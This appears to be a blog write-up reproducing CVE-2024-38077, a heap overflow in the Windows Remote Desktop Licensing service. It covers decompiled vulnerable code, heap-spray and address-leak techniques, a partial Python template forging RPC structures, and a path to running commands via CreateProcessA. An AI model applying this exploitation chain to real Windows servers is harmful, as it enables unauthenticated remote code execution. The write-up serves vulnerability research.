K's Map

CVE-2024-38077 Reproduction

  • windows
  • pwn
  • rpc
  • cve

Also known as madlicense, a vulnerability affecting almost every version of Windows Server that leads to 0-click RCE

1. Vuln Analyze

1.1 Call Stack

 # Child-SP          RetAddr               Call Site

00 000000b9`d2ffbd30 00007fff`67a76fec     lserver!CDataCoding::DecodeData
01 000000b9`d2ffbd70 00007fff`67a5c793     lserver!LKPLiteVerifyLKP+0x38
02 000000b9`d2ffbdc0 00007fff`67a343eb     lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163
03 000000b9`d2ffd7d0 00007fff`867052a3     lserver!TLSRpcTelephoneRegisterLKP+0x15b
04 000000b9`d2fff0c0 00007fff`8664854d     RPCRT4!Invoke+0x73
05 000000b9`d2fff120 00007fff`86647fda     RPCRT4!NdrStubCall2+0x30d
06 000000b9`d2fff3d0 00007fff`866b7967     RPCRT4!NdrServerCall2+0x1a

1.2 Vuln

__int64 __fastcall CDataCoding::DecodeData(CDataCoding *this, wchar_t *a2, unsigned __int8 **a3, unsigned int *a4)
{
  unsigned int v4; // edi
  int v8; // ebp
  unsigned int v9; // ebx
  HANDLE ProcessHeap; // rax
  unsigned __int8 *v11; // rax
  unsigned __int8 *v12; // rbx
  wchar_t *v13; // rax
  __int64 v14; // rcx
  unsigned __int8 *v15; // rdx
  __int64 v16; // r9
  unsigned int v17; // ecx
  HANDLE v18; // rax

  v4 = 0;
  v8 = 0;
  if ( a3 )
  {
    v9 = dwBytes; // Always be 21
    *a3 = 0LL;
    *a4 = 0;
    ProcessHeap = GetProcessHeap();
    v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9);   // fixed size
    v12 = v11;
    if ( v11 )
    {
      memset_0(v11, 0, (unsigned int)dwBytes);
      while ( *a2 )
      {
	    // str: BCDFGHJKMPQRTVWXY2346789 a2: usercontrol
        v13 = wcschr_0(Str, *a2);
        if ( !v13 )
        {
          v4 = 13;
          v18 = GetProcessHeap();
          HeapFree(v18, 0, v12);
          return v4;
        }
        // a2 from base24 to base 10
        v14 = v13 - Str;
        v15 = v12;
        v16 = (unsigned int)(v8 + 1);
        do
        {
          v17 = dword_1800D61C8 * *v15 + v14;
          *v15++ = v17;
          LODWORD(v14) = v17 >> 8;
          --v16;
        }
        while ( v16 );
        if ( (_DWORD)v14 )
          v12[++v8] = v14; // move base10 to buffer
        ++a2;
      }
      *a4 = dwBytes;
      *a3 = v12;
    }
    else
    {
      return 8;
    }
  }
  else
  {
    return 87;
  }
  return v4;
}

Heap overflow without restriction

1.3 Vuln Component

lserver.dll loaded by svchost.exe

TLSRpcTelephoneRegisterLKP() function

2. Heap Manage Mechanism

It uses the segment heap

We mainly focus on LFH since it’s vulnerable

  • headless
  • randomly allocated

3. Exploitation

3.1 Enable LFH

Bucket activation occurs if there are 17 active allocations for the bucket’s allocation size.

Bucket activation also occurs if there are 2,040 allocation requests for the bucket’s allocation size.

Here we allocate 2,040 chunks with size 0x20 to enable LFH.

TLSRpcRegisterLicenseKeyPack() takes in an encrypted payload and allocates memory for the payload after decryption. So we can allocate arbitrary memory with it.

Here we use TLSRpcRegisterLicenseKeyPack() to spray 0x20 chunks.

3.2 Leak Address

The widely used lpContext structure is allocated in each TLSRpcConnect() and returned as a handle.

typedef struct __ClientContext {

    LPTSTR  m_Client;
    long    m_RefCount;
    DWORD   m_ClientFlags;

    DWORD   m_LastError;
    CONTEXTHANDLE_TYPE m_ContextType;
    HANDLE  m_ContextHandle;

    // NEEDED - A list to store all memory/handle
    //          allocated for the client

} CLIENTCONTEXT, *LPCLIENTCONTEXT;

And it is 0x20 bytes large, which means it will be allocated in the same bucket as our vulnerable buffer.

Thus we can spray handles with TLSRpcConnect(), free some handles, and then allocate vulnerable buffer with TLSRpcTelephoneRegisterLKP(). We will easily overflow to the lpcontext structure. And the pointers in the structure are promising.

TLSRpcRetrieveTermServCert() takes the lpcontext as an argument and then does the following:

SAFESTRCPY(LicenseRequest.szMachineName, lpContext->m_Client);
SAFESTRCPY(LicenseRequest.szUserName, lpContext->m_Client);

Finally, it returns the ppbCert containing the LicenseRequest.

Since lpContext->m_Client is easy to forge, we get an AAR.

3.3 Hijack RIP

3.3.1 Hijack Control Flow

TLSRpcKeyPackEnumNext() -> TLSDBLicenseKeyPackEnumNext() -> TLSDBKeyPackEnumNext() -> lpContext->m_ContextHandle->pbWorkSpace->m_LicPackTable.EnumerateNext()

It finally calls a virtual function related to lpContext

error_status_t 
TLSRpcKeyPackEnumNext( 
    /* [in] */ PCONTEXT_HANDLE phContext,
    /* [ref][out] */ LPLSKeyPack lpKeyPack,
    /* [ref][out][in] */ PDWORD dwErrCode
    )
{
	...
	LPENUMHANDLE hEnum=(LPENUMHANDLE)lpContext->m_ContextHandle;
	status=TLSDBLicenseKeyPackEnumNext( 
							hEnum, 
							lpKeyPack,
							bShowAll
						);
	...
}

DWORD 
TLSDBLicenseKeyPackEnumNext(
    LPENUMHANDLE lpEnumHandle, 
    LPLSKeyPack lpLsKeyPack,
    BOOL bShowAll
    )
{
	...
    switch(lpEnumHandle->chFetchState)
    {
        case ENUMHANDLE::FETCH_NEXT_KEYPACK:
            dwStatus=TLSDBKeyPackEnumNext(
                                lpEnumHandle->pbWorkSpace, 
                                &lpEnumHandle->CurrentKeyPack
                            );
    ...
}

DWORD
TLSDBKeyPackEnumNext( 
    IN PTLSDbWorkSpace pDbWkSpace, 
    IN OUT PTLSLICENSEPACK lpKeyPack
    )
{
	...
	LicPackTable& licpackTable=pDbWkSpace->m_LicPackTable;
	switch(licpackTable.EnumerateNext(*lpKeyPack))
	...
}

So in TLSDBKeyPackEnumNext, we can steer the overflow into the following call chain:

lpContext->m_ContextHandle->pbWorkSpace->m_LicPackTable.EnumerateNext()

In disassembly:

__int64 __fastcall TLSDBKeyPackEnumNext(__int64 *a1, void *a2)
{
  if ( a1 && a2 )
  {
    (*(void (__fastcall **)(__int64 *, void *, _QWORD, _QWORD))(*a1 + 0x70))(a1, a2, 0LL, 0LL);
    v3 = (*(__int64 (__fastcall **)(__int64 *))(*a1 + 0x1F0))(a1);
    ...

3.3.2 Leak Fake Object Address

Since we need to forge the function pointer, we need to forge the whole m_ContextHandle. Then we must obtain our fake obj address because it contains some layers of pointers.

Review our segment heap mechanism. We learned that LFH and VS are allocated from the Backend Allocator, and luckily, the _SEGMENT_HEAP contains the information of the last block of the current backend heap.

Now that we have an AAR primitive, we can obtain the last block address, and blocks are allocated continuously. So we will spray our fakeobj, and we can predict an address before that.

3.3.3 Construct Fake Object

Now that we have the fakeobj address, we just forge the object following its definition.

//lpContext->m_ContextHandle
typedef struct __ENUMHANDLE {
    typedef enum {
        FETCH_NEXT_KEYPACK=1,
        FETCH_NEXT_KEYPACKDESC,
        FETCH_NEW_KEYPACKDESC
    } ENUM_FETCH_CODE;

    PTLSDbWorkSpace pbWorkSpace;
    TLSLICENSEPACK  CurrentKeyPack;

    LICPACKDESC     KPDescSearchValue;
    DWORD           dwKPDescSearchParm;
    BOOL            bKPDescMatchAll;
    CHAR            chFetchState;
} ENUMHANDLE, *LPENUMHANDLE;


//lpContext->m_ContextHandle->pbWorkSpace
typedef struct __TlsDbWorkSpace {

    static JBInstance g_JbInstance;

    JBSession  m_JetSession;
    JBDatabase m_JetDatabase;


    LicPackTable            m_LicPackTable; // Target
    LicensedTable           m_LicensedTable;
	...

} TLSDbWorkSpace, *LPTLSDbWorkSpace, *PTLSDbWorkSpace;

3.4 Hijack Arguments

As the graph above indicates, rcx is a pointer to the pbWorkSpace, which is unusable in most cases, because its first element must be *m_LicPackTable.

Then we look into the magical NdrServerCall2(). It receives a pointer to the RpcMsg structure as its only argument, and finally calls the structure-related pointer with a structure-related argument list (though rather complicated).

NdrServerCall2() -> NdrStubCall2() -> ... -> Invoke()

Anyway, the function is so complicated. It does so many things to parse RpcMsg; most parts can be easily(?) bypassed by constructing structures.

The hardest part is that it delivers the attributes of arguments in a certain formatted string. After reversing, I made a template for better use.

    pbWorkSpace += b"\x32\x48"
    pbWorkSpace += b"\x00\x00\x00\x00"
    pbWorkSpace += b"\x00\x00" #procNum
    pbWorkSpace += p16(argnum * 8) #stacksize
    # pbWorkSpace += b"\x30\xe0\x00\x00\x00\x00"
    # NdrInfo.pProcDesc
    pbWorkSpace += b"\xc0\x00\x10\x00" #ClientBufferSize & ServerBufferSize
    pbWorkSpace += b"\x40" #Oi2Flags
    pbWorkSpace += p8(argnum * 2) #NumberParams
    # NdrExts
    pbWorkSpace += b"\x0a" #Size
    pbWorkSpace += b"\x01\x00\x00" #Flags2 & ClientCorrHint & ServerCorrHint
    pbWorkSpace += b"\x00\x00\x00\x00" #NotifyIndex
    pbWorkSpace += b"\x00\x00"
    # Params
    for i in range(argnum * 2):
        pbWorkSpace += p16(0x48)
        pbWorkSpace += p16(i * 4)
        pbWorkSpace += p16(0x09)

Finally, we get an arbitrary call with arbitrary arguments (though the fakeobj looks scary).

3.5 After Arbitrary Call

Now we have one arbitrary call, and then crash.

Because of CFG(Control Flow Guard), we are not able to do ROP or shellcode.

The method from the original author is using LoadLibraryA() to load a malicious DLL from a remote SMB server. But as a low-privilege user, I found it forbidden to load a DLL into svchost.exe from a remote SMB server, though loading from a local path is possible.

Then I turned to CreateProcessA(), similar to WinExec(). We can execute cmd commands now.

Notice:

  • CreateProcessA() is not the same as cmd. Only one command is allowed, which means ‘&&’, ‘&’, ‘|’ are not allowed. So we have to use cmd.exe /C "xxx" to execute multiple commands at a time.
  • cmd.exe /C "xxx" only allows double quotation marks
  • I failed to load powershell.exe, maybe related to some policy.

4. References

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077